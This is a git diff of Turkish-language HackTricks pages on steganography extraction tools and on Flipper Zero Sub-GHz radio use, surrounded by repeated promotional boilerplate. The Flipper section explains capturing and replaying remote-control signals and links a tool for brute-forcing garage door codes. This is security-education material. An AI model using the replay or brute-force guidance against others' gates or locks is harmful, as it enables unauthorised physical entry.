<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* Özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) takip edin.
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.**
</details>

View file

@ -1,19 +1,27 @@
# Stego Numaraları
# Stego Hileleri
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking numaralarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## **Dosyalardan Veri Çıkarma**
### **Binwalk**
@ -32,13 +40,13 @@ foremost -i file # Extracts data
```
### **Exiftool**
Dosya meta verilerini görüntülemeye yardımcı olur, [burada](https://www.sno.phy.queensu.ca/\~phil/exiftool/) mevcuttur.
Dosya meta verilerini görüntülemeye yardımcı olur, [buradan](https://www.sno.phy.queensu.ca/\~phil/exiftool/) erişilebilir.
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Metadata görüntüleme için exiftool'a benzer. `apt` aracılığıyla yüklenebilir, kaynak [GitHub](https://github.com/Exiv2/exiv2) üzerinde bulunabilir ve resmi bir [web sitesi](http://www.exiv2.org/) vardır.
Exiftool'a benzer şekilde, metaveri görüntüleme için kullanılır. `apt` üzerinden yüklenebilir, kaynak kodları [GitHub](https://github.com/Exiv2/exiv2) üzerinde bulunabilir ve resmi websitesi [burada](http://www.exiv2.org/) yer almaktadır.
```bash
exiv2 file # Shows the metadata
```
@ -48,7 +56,7 @@ Uğraştığınız dosya türünü belirleyin.
### **Dizgeler**
Dosyalardan okunabilir dizgeler çıkarır, çeşitli kodlama ayarlarını kullanarak çıktıyı filtrelemek için.
Dosyalardan okunabilir dizgeler çıkarır, çıktıyı filtrelemek için çeşitli kodlama ayarlarını kullanır.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -80,17 +88,17 @@ Görünüşte boş alanlardaki görünmez karakterler bilgi saklayabilir. Bu ver
```bash
./magick identify -verbose stego.jpg
```
Bir hasar görmüş görüntüyü onarmak için, bir meta veri yorumu eklemek yardımcı olabilir:
Hasar görmüş bir görüntüyü onarmak için, bir meta veri yorumu eklemek yardımcı olabilir:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Veri Gizleme İçin Steghide**
Steghide, `JPEG, BMP, WAV ve AU` dosyaları içine veri gizlemeyi kolaylaştırır, şifreli veri gömmeyi ve çıkarmayı sağlar. Kurulumu `apt` kullanarak kolaydır ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide).
Steghide, `JPEG, BMP, WAV ve AU` dosyaları içine veri gizlemeyi kolaylaştırır, şifreli veri gömmeyi ve çıkarmayı sağlar. Kurulumu `apt` kullanarak basittir ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide).
**Komutlar:**
* `steghide info dosya` dosyanın gizli veri içerip içermediğini ortaya çıkarır.
* `steghide info dosya` bir dosyanın gizli veri içerip içermediğini ortaya çıkarır.
* `steghide extract -sf dosya [--passphrase şifre]` gizli veriyi çıkarır, şifre isteğe bağlıdır.
Web tabanlı çıkarma için [bu web sitesini](https://futureboy.us/stegano/decinput.html) ziyaret edin.
@ -103,7 +111,7 @@ stegcracker <file> [<wordlist>]
```
### **PNG ve BMP Dosyaları için zsteg**
zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanlaşmıştır. Kurulum `gem install zsteg` komutu ile yapılır, [GitHub'daki kaynağı](https://github.com/zed-0xff/zsteg)ndan erişilebilir.
zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanlaşmıştır. Kurulum `gem install zsteg` komutu ile yapılır, [GitHub'daki kaynağına](https://github.com/zed-0xff/zsteg) ulaşılabilir.
**Komutlar:**
@ -112,7 +120,7 @@ zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanla
### **StegoVeritas ve Stegsolve**
**stegoVeritas**, metaverileri kontrol eder, görüntü dönüşümleri yapar ve diğer özellikler arasında LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu kullanın.
**stegoVeritas**, meta verileri kontrol eder, görüntü dönüşümleri yapar ve diğer özellikler arasında LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu kullanın.
**Stegsolve**, gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) bulunabilir.
@ -126,11 +134,11 @@ Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği
### **Ses ve Görüntü Dosyaları için Stegpy**
Stegpy, bilgiyi görüntü ve ses dosyalarına gömmeyi sağlar ve PNG, BMP, GIF, WebP ve WAV gibi formatları destekler. [GitHub'da](https://github.com/dhsdshdhk/stegpy) bulunabilir.
Stegpy, PNG, BMP, GIF, WebP ve WAV gibi formatları destekleyerek bilgi gömme işlemine izin verir. [GitHub'da](https://github.com/dhsdshdhk/stegpy) bulunabilir.
### **PNG Dosya Analizi için Pngcheck**
PNG dosyalarını analiz etmek veya doğrulamak için kullanılabilir:
PNG dosyalarını analiz etmek veya doğrulamak için kullanılır:
```bash
apt-get install pngcheck
pngcheck stego.png
@ -145,9 +153,9 @@ Daha fazla keşif için şu adresleri ziyaret etmeyi düşünün:
* [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/)
## **Ses Dosyalarından Veri Çıkarma**
## **Veri Çıkarma Audiolardan**
**Ses steganografisi**, bilgileri ses dosyalarının içine gizlemek için benzersiz bir yöntem sunar. Gizli içeriği gömmek veya almak için farklı araçlar kullanılır.
**Audio steganografi**, ses dosyaları içinde bilgi gizleme için benzersiz bir yöntem sunar. Farklı araçlar gizli içeriği gömmek veya almak için kullanılır.
### **Steghide (JPEG, BMP, WAV, AU)**
@ -177,7 +185,7 @@ Deepsound, AES-256 kullanarak ses dosyaları içinde bilgi şifreleme ve tespit
### **Sonic Visualizer**
Ses dosyalarının görsel ve analitik incelemesi için paha biçilmez bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin.
Ses dosyalarının görsel ve analitik incelemesi için kıymetli bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin.
### **DTMF Tones - Dial Tones**
@ -187,7 +195,7 @@ Ses dosyalarındaki DTMF tonlarını tespit etmek, [bu DTMF dedektörü](https:/
### **Binary Length SQRT - QR Code**
Bir tam sayıya karesel olarak eşit olan ikili veriler bir QR kodunu temsil edebilir. Bunun kontrolü için bu parçacığı kullanın:
Tam bir sayıya karesi olan ikili veri bir QR kodu temsil edebilir. Bunun kontrolü için bu parçacığı kullanın:
```python
import math
math.sqrt(2500) #50
@ -201,16 +209,22 @@ Braille çevirisi için [Branah Braille Çevirmeni](https://www.branah.com/brail
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,16 +2,24 @@
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı göndererek PR'larla paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek PR'lerle paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
[**Flipper Zero**](https://flipperzero.one/) ile şunları yapabilirsiniz:
* **Radyo frekanslarını dinleme/yakalama/tekrarlama:** [**Sub-GHz**](fz-sub-ghz.md)
@ -23,16 +31,22 @@
* **Güvenlik anahtarı (U2F) olarak kullanma**
* **Yılan oyunu oynama**
**Diğer Flipper Zero kaynakları için** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
[**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero) adresindeki diğer Flipper Zero kaynaklarına göz atın.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı göndererek PR'larla paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek PR'lerle paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -10,19 +10,27 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Giriş <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero, yerleşik modülü aracılığıyla **300-928 MHz aralığında radyo frekanslarını alıp ve iletebilir**. Bu modül uzaktan kumandaları okuyabilir, kaydedebilir ve taklit edebilir. Bu kumandalar, kapılar, bariyerler, radyo kilitleri, uzaktan kumandalı anahtarlar, kablosuz kapı zilleri, akıllı ışıklar ve daha fazlası ile etkileşim için kullanılır. Flipper Zero, güvenliğinizin tehlikeye atılıp atılmadığını öğrenmenize yardımcı olabilir.
Flipper Zero, uzaktan kumandaları okuyabilen, kaydedebilen ve taklit edebilen dahili modülü sayesinde **300-928 MHz aralığında radyo frekanslarını alıp ve iletebilir**. Bu kumandalar, kapılar, bariyerler, radyo kilitleri, uzaktan kumandalı anahtarlar, kablosuz kapı zilleri, akıllı ışıklar ve daha fazlası ile etkileşim için kullanılır. Flipper Zero, güvenliğinizin tehlikede olup olmadığını öğrenmenize yardımcı olabilir.
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
## Sub-GHz donanımı <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero, [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 çipi](https://www.ti.com/lit/ds/symlink/cc1101.pdf) ve bir radyo antenine dayalı yerleşik bir sub-1 GHz modüle sahiptir (maksimum menzil 50 metredir). Hem CC1101 çipi hem de anten, 300-348 MHz, 387-464 MHz ve 779-928 MHz bantlarında çalışacak şekilde tasarlanmıştır.
Flipper Zero, [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 çipi](https://www.ti.com/lit/ds/symlink/cc1101.pdf) ve bir radyo antenine dayalı dahili bir sub-1 GHz modüle sahiptir (maksimum menzil 50 metredir). Hem CC1101 çipi hem de anten, 300-348 MHz, 387-464 MHz ve 779-928 MHz bantlarında çalışacak şekilde tasarlanmıştır.
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
@ -40,26 +48,26 @@ Uzaktan kumandanın frekansını belirlemek için şunları yapın:
1. Uzaktan kumandayı Flipper Zero'nun soluna çok yakın bir yere yerleştirin.
2. **Ana Menü**'ye gidin **→ Sub-GHz**.
3. **Frekans Analizörü'nü** seçin, ardından analiz etmek istediğiniz uzaktan kumandadaki düğmeye basılı tutun.
3. **Frekans Analizörü**nü seçin, ardından analiz etmek istediğiniz uzaktan kumandadaki düğmeye basılı tutun.
4. Ekranda frekans değerini inceleyin.
### Oku
{% hint style="info" %}
Kullanılan frekans hakkında bilgi bulma (ayrıca hangi frekansın kullanıldığını bulmanın başka bir yolu)
Kullanılan frekans hakkında bilgi bulun (aynı zamanda hangi frekansın kullanıldığını bulmanın başka bir yolu)
{% endhint %}
**Oku** seçeneği, varsayılan olarak 433.92 AM modülasyonunda yapılandırılmış frekansta dinleme yapar. **Okuma sırasında bir şey bulunursa**, ekran üzerinde **bilgi verilir**. Bu bilgi, gelecekte sinyali çoğaltmak için kullanılabilir.
**Oku** seçeneği, varsayılan olarak 433.92 AM modülasyonunda yapılandırılmış frekansta **dinleme yapar**. **Okuma sırasında bir şey bulunursa**, ekran üzerinde **bilgi verilir**. Bu bilgi, gelecekte sinyali çoğaltmak için kullanılabilir.
Okuma sırasında, **sol düğmeye basarak** ve **yapılandırarak** kullanılabilir.\
Okuma kullanılırken, **sol düğmeye basarak yapılandırabilirsiniz**.\
Şu anda **4 modülasyon** (AM270, AM650, FM328 ve FM476) ve **çeşitli ilgili frekanslar** saklanmış durumda:
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
Sizi ilgilendiren **herhangi birini ayarlayabilirsiniz**, ancak eğer sahip olduğunuz uzaktan kumanda tarafından kullanılan frekansı **kesin olarak bilmiyorsanız Hopping'i ON** (varsayılan olarak Off) yapın ve Flipper'ın yakalayıp ihtiyacınız olan bilgiyi vermesi için düğmeye birkaç kez basın.
Sizi ilgilendiren **herhangi birini ayarlayabilirsiniz**, ancak eğer hangi frekansın uzaktan kumanda tarafından kullanıldığından emin değilseniz, **Hopping'i ON** (varsayılan olarak Off) olarak ayarlayın ve Flipper'ın yakaladığı ve ihtiyacınız olan bilgiyi verdiği frekansı ayarlamak için düğmeye birkaç kez basın.
{% hint style="danger" %}
Frekanslar arasında geçiş biraz zaman alır, bu nedenle geçiş sırasında iletilen sinyaller kaçırılabilir. Daha iyi sinyal alımı için Frekans Analizörü tarafından belirlenen sabit bir frekans ayarlayın.
Frekanslar arasında geçiş yapmak biraz zaman alır, bu nedenle geçiş sırasında iletilen sinyaller kaçırılabilir. Daha iyi sinyal alımı için Frekans Analizörü tarafından belirlenen sabit bir frekans ayarlayın.
{% endhint %}
### **Ham Oku**
@ -68,18 +76,18 @@ Frekanslar arasında geçiş biraz zaman alır, bu nedenle geçiş sırasında i
Yapılandırılmış frekansta bir sinyali çalın (ve tekrarlayın)
{% endhint %}
**Ham Oku** seçeneği, dinleme frekansında gönderilen sinyalleri kaydeder. Bu, bir sinyali **çalmak** ve **tekrarlamak** için kullanılabilir.
**Ham Oku** seçeneği, dinleme frekansında gönderilen sinyalleri **kaydeder**. Bu, bir sinyali **çalmak** ve **tekrarlamak** için kullanılabilir.
Varsayılan olarak **Ham Oku da 433.92'de AM650'de** bulunur, ancak Oku seçeneği ile ilginizi çeken sinyalin farklı bir frekans/modülasyonda olduğunu bulursanız, bunu da değiştirebilirsiniz sol düğmeye basarak (Ham Oku seçeneği içindeyken).
### Kaba Kuvvet
Örneğin garaj kapısı tarafından kullanılan protokolü biliyorsanız, **tüm kodları oluşturabilir ve Flipper Zero ile gönderebilirsiniz**. Bu, genel olarak yaygın garaj tiplerini destekleyen bir örnektir: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
Örneğin garaj kapısı tarafından kullanılan protokolü biliyorsanız, **tüm kodları oluşturabilir ve Flipper Zero ile gönderebilirsiniz**. Bu, genel garaj tiplerini destekleyen bir örnektir: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Manuel Olarak Ekle
{% hint style="info" %}
Yapılandırılmış protokoller listesinden sinyal ekleyin
Yapılandırılmış protokoller listesinden sinyaller ekleyin
{% endhint %}
#### [Desteklenen protokollerin](https://docs.flipperzero.one/sub-ghz/add-new-remote) listesi <a href="#id-3iglu" id="id-3iglu"></a>
@ -102,11 +110,11 @@ Yapılandırılmış protokoller listesinden sinyal ekleyin
| Security+2.0\_390 | 390.00 | Dinamik |
### Desteklenen Sub-GHz Satıcıları
Listeye [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) adresinden bakın.
[https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) adresindeki listeden kontrol edebilirsiniz.
### Bölgeye Göre Desteklenen Frekanslar
Listeye [https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies) adresinden bakın.
[https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies) adresindeki listeden kontrol edebilirsiniz.
### Test
@ -117,3 +125,23 @@ Kaydedilen frekansların dBm'lerini alın
## Referans
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,24 +2,32 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
